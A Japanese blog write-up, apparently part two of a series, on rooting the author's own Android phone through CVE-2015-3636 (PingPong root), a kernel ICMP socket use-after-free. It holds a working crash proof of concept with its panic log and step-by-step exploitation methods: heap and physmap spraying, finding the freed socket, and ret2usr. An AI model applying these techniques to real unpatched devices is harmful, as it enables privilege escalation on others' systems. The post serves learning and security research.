自分でAndroidのrootを取ってみた話(後編)
Linux kernel exploit on Android編です。
前編はこちら
前編で扱ったCVE-2015-3837の情報を探す途中で、端末に存在する既知の脆弱性をスキャンしてくれるアプリを見つけました。
このアプリによると、実験台の端末ではPingPong rootとして知られるCVE-2015-3636が刺さるようです。
ということで、今度はこれについて調べてみることにしました。
CVE-2015-3636
概要
この脆弱性はKeen Teamが発見したLinuxカーネル4.03未満の脆弱性で、ICMPソケットに対して特定の操作をするとUAFが起きるというものです。
まず、カーネルパニックを起こすだけのPoCを見てみましょう。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/in.h> int main() { int sockfd; struct sockaddr addr1 = { .sa_family = AF_INET }; struct sockaddr addr2 = { .sa_family = AF_UNSPEC }; sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); if(sockfd < 0) { perror("socket"); exit(1); } // connect with AF_INET once connect(sockfd, &addr1, sizeof(addr1)); // connect with AF_UNSPEC twice connect(sockfd, &addr2, sizeof(addr2)); connect(sockfd, &addr2, sizeof(addr2)); return 0; }
※ 通常Linuxでは一般ユーザがICMPソケットを作れないようになっていますが、Androidでは一般ユーザでも作れるような設定になっています
x86なLinux 3.4.0で実行してみると、0x200200にアクセスできないというカーネルパニックが起きます。
/tmp $ ./exploit [ 68.347559] BUG: unable to handle kernel paging request at 00200200 [ 68.348067] IP: [<c150dcef>] ping_v4_unhash+0x1f/0x80 [ 68.348067] *pde = 00000000 [ 68.348067] Oops: 0002 [#1] SMP [ 68.348067] Modules linked in: [ 68.348067] [ 68.348067] Pid: 871, comm: exploit Not tainted 3.4.0 #1 QEMU Standard PC (i440FX + PIIX, 1996) [ 68.348067] EIP: 0060:[<c150dcef>] EFLAGS: 00000202 CPU: 0 [ 68.348067] EIP is at ping_v4_unhash+0x1f/0x80 [ 68.348067] EAX: 0000005b EBX: f5d3a480 ECX: 00200200 EDX: 00200200 [ 68.348067] ESI: c16c3ec0 EDI: f5411ef0 EBP: f5411eb8 ESP: f5411eb4 [ 68.348067] DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 [ 68.348067] CR0: 80050033 CR2: 00200200 CR3: 35415000 CR4: 00000690 [ 68.348067] DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000 [ 68.348067] DR6: ffff0ff0 DR7: 00000400 [ 68.348067] Process exploit (pid: 871, ti=f5410000 task=f5f51d40 task.ti=f5410000) [ 68.348067] Stack: [ 68.348067] f5d3a480 f5411ec4 c14f7c1e f5d3a480 f5411edc c1500aeb 0000000c f5912c00 [ 68.348067] c16c3ec0 00000006 f5411f78 c148adc7 00000002 00000000 00000000 00000000 [ 68.348067] 00000000 00000000 00000000 c10eec5d 00000020 f5411f34 00000003 f5411f28 [ 68.348067] Call Trace: [ 68.348067] [<c14f7c1e>] udp_disconnect+0x5e/0x110 [ 68.348067] [<c1500aeb>] inet_dgram_connect+0x5b/0x70 [ 68.348067] [<c148adc7>] sys_connect+0xa7/0xc0 [ 68.348067] [<c10eec5d>] ? get_empty_filp+0x7d/0x180 [ 68.348067] [<c10eed74>] ? alloc_file+0x14/0xc0 [ 68.348067] [<c1488a9f>] ? sock_alloc_file+0x7f/0x100 [ 68.348067] [<c10ebe3e>] ? fd_install+0x1e/0x50 [ 68.348067] [<c1488b3f>] ? sock_map_fd+0x1f/0x30 [ 68.348067] [<c148ba3a>] sys_socketcall+0x20a/0x260 [ 68.348067] [<c1033417>] ? irq_exit+0x57/0xa0 [ 68.348067] [<c1603dcc>] sysenter_do_call+0x12/0x22 [ 68.348067] Code: 65 f4 31 c0 5b 5e 5f 5d c3 8d 76 00 8b 48 28 85 c9 74 5f 55 89 e5 53 89 c3 b8 40 0f 98 c1 e8 e9 fb 0e 00 8b 43 24 8b 53 28 a8 01 <89> 02 75 03 89 50 04 c7 43 28 00 02 20 00 3e ff 4b 30 0f 94 c0 [ 68.348067] EIP: [<c150dcef>] ping_v4_unhash+0x1f/0x80 SS:ESP 0068:f5411eb4 [ 68.348067] CR2: 0000000000200200 [ 68.388421] ---[ end trace 02615c9c398dbeb8 ]--- [ 68.389381] Kernel panic - not syncing: Fatal exception in interrupt [ 68.390837] Rebooting in 1 seconds..
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)
で作ったソケットに対してsa_family = AF_UNSPEC
なsockaddr
を渡してconnect
を2回呼んだ場合に何が起きるのか、カーネルのソースを見てみます。
// taken from http://elixir.free-electrons.com/linux/v3.4/source/net/ipv4/af_inet.c#L544 int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr, int addr_len, int flags) { struct sock *sk = sock->sk; if (addr_len < sizeof(uaddr->sa_family)) return -EINVAL; if (uaddr->sa_family == AF_UNSPEC) return sk->sk_prot->disconnect(sk, flags); if (!inet_sk(sk)->inet_num && inet_autobind(sk)) return -EAGAIN; return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len); } EXPORT_SYMBOL(inet_dgram_connect);
sa_family
がAF_UNSPEC
の場合、sk->sk_prot->disconnect
が呼ばれるようです。
スタックトレースからこれはudp_disconnect
だということがわかるので、そちらも見てみます。
// taken from http://elixir.free-electrons.com/linux/v3.4/source/net/ipv4/udp.c#L1264 int udp_disconnect(struct sock *sk, int flags) { struct inet_sock *inet = inet_sk(sk); /* * 1003.1g - break association. */ sk->sk_state = TCP_CLOSE; inet->inet_daddr = 0; inet->inet_dport = 0; sock_rps_reset_rxhash(sk); sk->sk_bound_dev_if = 0; if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK)) inet_reset_saddr(sk); if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) { sk->sk_prot->unhash(sk); inet->inet_sport = 0; } sk_dst_reset(sk); return 0; } EXPORT_SYMBOL(udp_disconnect);
スタックトレースに出ているping_v4_unhash
は上のコードで言うとsk->sk_prot->unhash
のようです。
// taken from http://elixir.free-electrons.com/linux/v3.4/source/net/ipv4/ping.c#L134 static void ping_v4_unhash(struct sock *sk) { struct inet_sock *isk = inet_sk(sk); pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); if (sk_hashed(sk)) { write_lock_bh(&ping_table.lock); hlist_nulls_del(&sk->sk_nulls_node); sock_put(sk); isk->inet_num = 0; isk->inet_sport = 0; sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); write_unlock_bh(&ping_table.lock); } }
gdbで追いかけてみると、カーネルパニックは上のコードのhlist_nulls_del
の内部で起きていました。
// taken from http://elixir.free-electrons.com/linux/v3.4/source/include/linux/list_nulls.h#L80 static inline void __hlist_nulls_del(struct hlist_nulls_node *n) { struct hlist_nulls_node *next = n->next; struct hlist_nulls_node **pprev = n->pprev; *pprev = next; // [!] crash if (!is_a_nulls(next)) next->pprev = pprev; } static inline void hlist_nulls_del(struct hlist_nulls_node *n) { __hlist_nulls_del(n); n->pprev = LIST_POISON2; // LIST_POISON2 == 0x200200 }
図にしてみると、こういうことのようです。
- 1回目の
AF_UNSPEC
なconnect
呼び出し前
__hlist_nulls_del
で対象のsk
がリストから外される
- 対象の
sk->sk_nulls_node.pprev
にLIST_POISON2
(0x200200)が代入される
- 同じ
sockfd
に対して再びAF_UNSPEC
なconnect
が呼ばれると、__hlist_nulls_del
内の*pprev = next
でクラッシュ
このクラッシュは、0x200200へのアクセス時にページフォルトが起きないようにあらかじめmmap
しておけば回避できそうです。
では、クラッシュを回避した後に何が起きるのか、hlist_nulls_del
呼び出しの直後にあるsock_put
を見てみます。
// taken from http://elixir.free-electrons.com/linux/v3.4/source/include/net/sock.h#L1538 /* Ungrab socket and destroy it, if it was the last reference. */ static inline void sock_put(struct sock *sk) { if (atomic_dec_and_test(&sk->sk_refcnt)) // --sk->sk_refcnt == 0 sk_free(sk); }
sk_refcnt
をデクリメントした結果が0になった場合はsk
をfreeするという処理になっています。
gdbで調べたところ、AF_INET
でconnect
した直後はsk_refcnt
が2になっているので、AF_UNSPEC
で2回connect
するとsk_refcnt
が0になり、sockfd
が生きているにも関わらずsk
がfreeされることになります。
struct sock
構造体は様々なポインタを保持しており、特にsk->sk_prot
はclose(sockfd)
が呼ばれたときに使われる関数ポインタを持っています。
従って、
- 不要なクラッシュを避けるため、
mmap
で0x200000に領域を確保し、適当に書き込みをしてページが割り当てられた状態にしておく socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)
でソケットを作るAF_INET
でconnect
を呼ぶ
AF_UNSPEC
でconnect
を2回呼び、sk
をfreeさせる
- freeされた領域に何らかの方法で書き込みをし、
sk->sk_prot
をユーザランドに向ける close(sockfd)
するとsk->sk_prot->close
が呼ばれる(Use After Free)
という手順を踏めば、カーネルモードで任意コード実行できそうです。
試してみた(Take 1)
先に示した手順のステップ5をどう実現するかという話になりますが、Kernel UAFの場合、
- 攻撃対象のオブジェクトと同じSLABキャッシュが使われる
- オブジェクトのデータを攻撃者がある程度コントロールできる
という条件を満たすオブジェクトを探してきて使うという手法がよく使われています。
が、今回の攻撃対象のオブジェクトは汎用のkmalloc-xxxではなくPING(またはRAW)という専用のキャッシュが使われているため、上の条件を満たすオブジェクトを見つけるのは容易ではありません。
そこで、
- 大量にICMPソケットを作る
- バグを使って全部freeすると、オブジェクトが全部free済みのSLABがいくつかできる
- kmalloc-xxxが使われるオブジェクトを大量に確保すると、2で述べたSLABが再利用される(可能性が高い)
と少し工夫することで、freeされた領域への書き込みを試みます。
併せて、これだけではどのソケットのsk
が上書きされたかわからないので、上書きされたsk
を持つソケットを探すためにioctl(sockfd, SIOCGSTAMPNS, (struct timespec *))
も使います。
これはstruct sock
が持つsk_stamp
という符号なし64bit値をstruct timespec
に変換するという動作をするので、安全に目的のソケットを探すことが出来ます。(ソースコード参照)
ここまでの話をまとめると、以下の手順でrootが取れることがわかります。
- 不要なクラッシュを避けるため、
mmap
で0x200000に領域を確保し、適当に書き込みをしてページが割り当てられた状態にしておく - 大量にICMPソケットを作る
- バグを使って全部freeする
- kmalloc-xxxが使われるオブジェクトを大量に確保し、
sk
の上書きを試みる - 上書きされた
sk
を持つsockfd
をSIOCGSTAMPNS
で探す close(sockfd)
を呼んでret2usr
これでexploitを書いてx86な環境で動かしてみたところ、安定してrootが取れることが確認できました。
わーい pic.twitter.com/GuX0SI3J8w
— しゃろ (@Charo_IT) August 30, 2017
あとはこれを実機用に移植すればよさそうです。
移植するにあたって、実機でのstruct sock
の構造体レイアウトを調べる必要がありましたが、メーカーが実機で動いているカーネルのソースコードやdefconfigを公開していたので、これはすぐ解決しました。
移植したものを実機で動かしてみると……
スマホにexploit投げてもクラッシュするだけで泣いている
— しゃろ (@Charo_IT) August 30, 2017
なぜかクラッシュするだけでした。
SIOCGSTAMPNS
で取ってきた値を見るとsk
の上書きがうまくいっていないことは分かったのですが、原因を調べるのは難しそうだったのでKeen Teamが推奨していたphysmapを使う方法に変えることにしました。(最初からそうしろという話ではある)
試してみた(Take 2)
Linuxのカーネル空間にはphysmap(Direct-Mapped RAM)等と呼ばれる、物理メモリ(アーキテクチャによって一部だったり全部だったりする)がストレートマッピングされる領域があります。
x86のデフォルトだと、仮想メモリの0xc0000000は物理メモリの0x00000000に対応し、同様に仮想メモリの0xc0000004は物理メモリの0x00000004に対応します。
ストレートマッピングされる部分の物理メモリはカーネル専用というわけではなく、状況に応じてユーザランド用としても使われます。
このとき、1つの物理アドレスに対して2種類の仮想アドレスでアクセスできることになります。
なので、
- ICMPソケットを大量に作る
- バグを使って
sk
を大量にfreeする - ユーザランドで
mmap
すると、運が良ければfreeされたsk
を含むページが確保される - ユーザランドでそのページに書き込みをすれば
sk
が上書きされる
という方法でsk
の上書きを試みることができます。
ここからさらに
- ICMPソケットを201個(パディング用200個 + UAF用1個)作る
- 1.のセットを大量に作る
- パディング用のソケットを普通に
close
- バグを使ってUAF用の
sk
をfree - ユーザランドで
mmap
し、その領域のアドレスで埋める - UAF用のソケットを
SIOCGSTAMPNS
で調べ、上書きされたsk
を持つソケットがないか探す - なければ5.に戻る
- 5.により、上書きされた
sk
のアドレスがSIOCGSTAMPNS
の結果からわかるので、該当のsk->sk_prot
をユーザランドに向ける close
でret2usr
とアレンジすると、UAF用のsk
がメモリのあちこちに点在するようになるため、mmap
時にUAF用のsk
を含むページが使われる確率を上げることができます。
この方針でx86用のexploitを書き……
physmap使うバージョンのx86用exploit動いた pic.twitter.com/NZgIkxraT7
— しゃろ (@Charo_IT) September 15, 2017
続けて実機用に移植して動かしてみると……
Successfully exploited CVE-2015-3636 (a.k.a. pingpong root) on my phone :) pic.twitter.com/rnbdJB3ZpW
— しゃろ (@Charo_IT) September 15, 2017
無事exploitが刺さり、rootが取れました。
後編まとめ
physmapまわりの知見が得られて良かったです(小並感)
実際の脆弱性に対して自分でexploitを書くのはかなりいい練習になったので、これからも定期的にチャレンジしていこうと思いました。
次回はおまけ編として、rootを取った後にいろいろ遊んでみた話について書く予定です。